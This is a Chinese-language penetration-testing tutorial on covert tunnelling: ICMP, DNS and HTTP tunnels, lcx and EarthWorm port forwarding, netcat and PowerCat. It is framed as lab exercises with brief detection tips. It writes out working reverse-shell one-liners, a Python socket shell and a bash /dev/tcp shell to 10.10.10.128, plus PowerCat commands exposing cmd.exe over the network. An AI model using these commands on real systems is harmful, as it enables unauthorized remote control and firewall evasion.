行业新闻

内网渗透基石篇-- 隐藏通信隧道技术(上)

内网渗透基石篇-- 隐藏通信隧道技术(上)

前言

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

一、隐藏通信隧道基础知识

隧道

隧道技术是一种通过使用互联网络的基本设施在网络之间传递数据的方式,使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道技术将其他协议的数据帧或者数据包重新封装然后通过隧道发送。新的帧头提供路由信息,以便互联网传递被封装的负载数据。

在不受信任的网络环境中实现安全的通信

通常使用多种加密技术建立通信隧道

点到点(IP2IP)、端到端(Port2Port)隧道

VPN : PPTP、l2tp、IPSec、SSL vpn

(1) 隐藏通信隧道概述

一般的网络通信,先在两台机器之间建立tcp连接,然后进行正常的数据通信。在指定ip地址的情况下,可以直接发送报文;如果不知道ip地址,就需要将域名解析成ip地址。在实际的网络中,通常会通过各种边界设备、软/硬件防火墙

常用的隧道列举如下。

网络层:Ipv6情况、icmp情况、Gre隧道0

传输层: Tcp 隧道、udp 隧道 常规端口转发 ·

应用层: ssh隧道、http隧道、https隧道、dns隧道

判断内网的连通性

判断内网的连通性是指判断机器能否上外网。 要综合判断各种协议(TCp、HHTp、DNs、Icmp)及端口通信的情况。常见的运行流量流出的端口有80,8080 ,443,53,110,1213等

1.ICMP协议

场景:两台机器间,除了允许互ping,其他的TCP/UDP端口一律不允许,此时可以考虑使用ICMP进行穿透

原理

Windows系统默认传输32bytes的数据,内容是固定的abcdefghijklmnopqrstuvwabcdefghi,ping包的大小是可以改变的,但是内容依旧不变,循环

Linux系统默认传输48bytes,头信息比较复杂,但是内容也是固定!”#$%ip地址或域名》”

1620008967_608f60076ff5cd232eedf.png?1620008968007

2.tcp协议

使用nc工具,执行ncip地址 端口号>

nc64 -zv 192.168.1.1 445

3.Http隧道

原理

通过HTTP协议与代理服务器建立连接,协议信令中包含要连接到的远程主机的IP和端口,如果有需要身份验证的话还需要加上授权信息,服务器收到信令后首先进行身份验证,通过后便与远程主机建立连接,连接成功之后会返回给客户端200,表示验证通过。此外HTTP隧道是没有进行加密的,不安全的,一般再嵌套一个SSH安全隧道

场景

1.内网防火墙具有协议检测和识别能力且仅允许HTTP流量出去外网

2.内网具备深度包检测能力且仅允许HTTP流量出去外网但可以检测明文传输的HTTP流量

3.服务器处于内网,可以访问外部网络

用法

curl 是一个利用url规则在命令行下的综合传输工具,支持文件的上传和下载。

curl www.baidu.com

1620009031_608f604714289557dd019.png?1620009031564

4.DNs隧道

场景

防火墙禁止TCP出站访问流量

- SSH隧道、端口转发全部失效

- 使用基于UDP协议的隧道

- DNS的工作原理适合用于实现隧道

配置某个域名的NS服务器,使得对该域名的所有子域解析请求最终到达该NS服务器上,然后将另一个协议的数据编码为一系列dns查询,响应时客户端将返回的Response数据进行解码得到另一协议的数据

利用合法的DNS服务器实现DNS隧道

C/S (dns2tcpc / dns2tcpd)架构

通过TXT、CNAME、MX记录加密传输数据(A记录长度有限)

隧道建立后保持连接

默认记录生存时间TTL值为3秒

在进行dns连通性检查时,常用的命令为nslookup、dig

nslookup www.zhihu.com 8.8.8.8

二、 网络层隧道技术

1.ipv6隧道

ipv6 是缩写,也被称为下一代互联网协议。它是由IeIF设计用来代替现行的ipv4协议的一种新的ipv4协议的一种新的ip协议.

类型

IPV6 over IPV4隧道,把IPV6报文封装到IPV4报文中,使IPV6的流量可以穿越IPV4网络

IPV4 over IPV6隧道,把IPV4报文封装到IPV6中,使IPV4的流量可穿越IPV6

1620009290_608f614ad0071708c5745.png?1620009291177

ipv6隧道技术是指通过ipv4隧道传送ipv6数据报文的技术。攻击者有时会通过恶意软件来配置允许运行ipv6通信的设备,以避开防火墙和入侵检测系统。有一点需要指出:即使设备支持ipv6,也可能无法正确地分析封装了ipv6报文的ipv4数据包。

支持·ipv6 的隧道工具有socat6tunnelnt6ttunnel

防御ipv6 隧道攻击的方法

针对ipv6隧道攻击,最好的防御方法是:了解ipv6的具体漏洞,结合其他协议,通过防火墙和深度防御系统过滤ipv6通信,提高主机和应用程序的安全性。

2. icmp隧道

icmp隧道简单,实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICmp协议就不需要。最常见的icmp消息为ping命令的回复,攻击者可以使用命令行得到比回复更多的icmp请求。

常用的ICMP隧道工具有1.icmpsh、2.pingTUnnel、3.icmptunnel、4.powershell icmp

1. Icmpsh工具的安装与使用

1.首先在github下载https://github.com/DhavalKapil/icmptunnel

1620009320_608f61681f59c3a7b2133.png?1620009320424

2.然后安装python-impacket模块

1620009340_608f617c06dc427fb84d2.png?1620009340637

3.关闭系统的Ping应答

1620009345_608f6181993e14339be20.png?1620009345907


4.然后进入目录,运行./run.sh

1620009352_608f61888428977d2f65b.png?1620009352867


1620009360_608f6190d97f8f2298074.png?1620009361186

5.然后运行成功。

1620009375_608f619fe213ab892aca4.png?1620009376541

3.防御icmcp隧道攻击的方法

1.检测同一来源的icmp数据包的数量。一个正常的ping命令每秒最多发送两个数据包,而使用icmp隧道的浏览器会在很短的时间内产生上千个icmp数据包

2.注意那些payload大与64bit的icmp数据包

3.寻找响应数据包中的payload与请求数据包中的playload不一致的icmp数据包

4检查icmp数据包协议,icmptunnel会在所有的icmp playload前面添加“TUNL来标识隧道--这就是特征。

三、 传输层隧道技术

传输层技术包括tcp隧道、udp隧道和常规端口转发。在渗透测试中,如果内网防火墙阻止了对指定端口的访问,在获得目标机器的权限后,可以使用IPTABles打开指定端口。

1. lcx端口转发

1.内网端口转发

lcx.exe -slave 公网主机ip地址>4444 127.0.0.1 3389

在vps 上执行如下命令,将本机4444端口上监听的所有数据转发到公网vps 的4444端口上监听的所有数据转发到公网vps的4444端口上。

2.本地端口映射

lcx -tran 53 目标主机ip地址> 3389

3.实验

1.下载地址https://github.com/UndefinedIdentifier/LCX

步骤一:在目标机器上执行反射操作,反射到跳板机

Lcx.exe -slave 192.168.160.139 4444 127.0.0.1 3389

1620009427_608f61d3820e25fe85511.png?1620009427842

步骤二:在跳板机上接收,即将3389端口映射成5555端口

1620009441_608f61e1cdcb2dec4d9d3.png?1620009442232

Lcx.exe -listen 4444 5555

步骤三:在跳板机上通过5555端口建立到目标机器上的远程连接

1620009454_608f61ee7545aa9577ee7.png?1620009454807

步骤四:连接远程桌面,成功。

1620009470_608f61fea3ad2786a4a6c.png?1620009471011

四、 netcat的安装与使用

1. 安装

sudo yum install nc.x86_64(kali自带)

2. 简易使用

(1).命令查询

nc -h

1620009530_608f623adec6bc151a441.png?1620009531493

(2)banner抓取

nc -nv 10.10.10.1 21

1620009539_608f6243303123265559d.png?1620009539548


(3)连接远程主机

nc -nvv 192.168.131.1 80

1620009545_608f62495455c848a53f4.png?1620009545600

(4)端口扫描

nc -v 192.168.131.1 80

1620009551_608f624fb3b717a7ad6ce.png?1620009552154

(5)端口监听

nc -l -p 9999

1620009558_608f625678874b7e344da.png?1620009558763

(6)文件传输

nc -lp 333 > 1.txt

1620009565_608f625d265114391242c.png

1620009598_608f627e9bdc0b85547ff.png?1620009598902

(7)简易聊天

nc -l -p 888

1620009606_608f6286d18884fedb0a7.png?1620009607125

1620009614_608f628e02f6e62c94ade.png?1620009614270

3.获取shell:

1.正向shell:客户端想要获得服务端的shell

第一步:在kali (服务端)上监听4444端口,并反弹shell

1620009621_608f6295f1f9c08aacf77.png?1620009622366

第二步:在centos(客户端)上连接kali 的4444端口

这个时候,客户端就拿到服务端的shell控制权了

可以随意控制服务端

1620009632_608f62a0267d38519d936.png?1620009632444

2.反向shell:服务端想要获得客户端的shell(也就是反弹shell)

先弹shell就是正向shell,后连接

后弹shell就是反向shell,先监听

1620009641_608f62a96a002eefe0718.png?1620009641712

1620009658_608f62bae6af86a075b1d.png?1620009659303

4.在目标主机中没有nc时获取反向shell

1.python反向shell

nc -lvp 2222

1.服务端(kali 上监听2222)

2.客户端一上线,服务端就成功控制客户端了

1620009668_608f62c4d3f9a19695d81.png?1620009669171

3.另一台kali执行py脚本,进行反弹shell。

python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.10.128",2222));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

1620009678_608f62ce3dba6f5dbf962.png?1620009678559

1620009689_608f62d97e32fcc57b938.png?1620009689826

(2)bash反向shell

bash -i >& /dev/tcp/10.10.10.128/4444 0>&1

1620009702_608f62e685cc15fe90a68.png?1620009702883

1620009710_608f62ee64db810cab1db.png?1620009710700

(3)php反向shell

1620009722_608f62facf0dce787b6e6.png?1620009723231

1620009729_608f6301d089c1aad7d9e.png?1620009730186

五、内网代理

Socks代理

Socks是一种代理服务,可以简单地将一端的系统连接到另外一端,并且支持多种协议,包括http、ftp请求及其他类型的请求。

有socks4和5两种类型,socks4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份认证机制等协议

Lcx

1.介绍

最为经典而且也是最为频繁的端口转发工具,是一个基于socket套接字实现的端口转发工具,从linux下的htran移植给Windows的。

//内网机器10.0.0.1的3389端口,转发到公网9000端口

lcx.exe -slave 192.168.1.161900010.0.0.13389

//公网机器192.168.1.1,将本机端口9000上监听的所有数据转发到本机5555上

lcx.exe -listen 9000 5555

2.二级网络环境 (一)

#A主机存在双网卡,外网IP,可连接目标网络内主机B

#B主机不能访问外网,能连接A

#B先启动socks代理

ew_for_win32.exe -s ssocksd -l 8888

#A 将1080收到的代理请求转发给B的8888端口

ew_for_win32.exe -s lcx_tran -l 1080 -f 192.168.99.101 -g 8888

3.二级网络环境 (二)

#A主机存在双网卡,内网IP,可连接目标网络内主机B和外网

#B主机不能访问外网,能连接A

#VPS下

ew_for_win32.exe -s lcx_listen -l 8899 -e 8888

#B主机下

ew_for_win32.exe -s ssocksd -l 9999

#A主机下 将公网的8888和内网B的9999连接起来

ew_for_win32.exe -s lcx_slave -d vpsIP -e 8888 -f 192.168.99.101 -g 9999

实验环境:

kali:10.10.10.128

centos:10.10.10.133

kali:10.10.10.136

第一步:在kali 上操作执行监听3333端口

1620009777_608f6331f37ec456e11c5.png?1620009778302

第二步:在centos上写入文件连接

1620009785_608f6339d6cb311d93753.png?1620009786300

第三步:在另一台上执行反向连接

1620009791_608f633fed385648e9451.png?1620009792339

powerCat

1.下载PowerCat

1620009804_608f634c8aea0dfe82001.png?1620009804916

1620009814_608f63560f08bca160fe5.png?1620009814412

2.PowerCAt命令详解

1.通过nc正向连接powerCat

powercat -l -p 23333 -e cmd.exe -v

1620009834_608f636a5cb0f4824b9ec.png?1620009834887

nc 10.10.10.147 23333 -vv

1620009847_608f63771509f9f7502d4.png?1620009847409

2.通过nc反向连接powercat

nc -lp 23333 -vv

1620009859_608f63838bed13c582d9e.png?1620009860117

powercat -c 10.10.10.128 -p 23333 -v -e cmd.exe

1620009870_608f638e5fc0c852c4c01.png?1620009870839

1620009879_608f639789009e629e735.png?1620009879862

3.通过PowerCat返回POwerShell

powercat -l -p 23333 -v

1620009904_608f63b0316f4ecef9864.png?1620009904590

powercat -c 10.10.10.128 -p 23333 -v -ep

1620009912_608f63b877568796d4ddf.png?1620009912855

4.通过PowerCat传输文件

1620009920_608f63c06ea8b6d82adde.png?1620009920831

1620009927_608f63c7504bf5765c249.png?1620009927630

总结

内网隧道基础上就到这里了,在本文中简单做了几个实验,都很基础,用来理解基础知识刚刚好。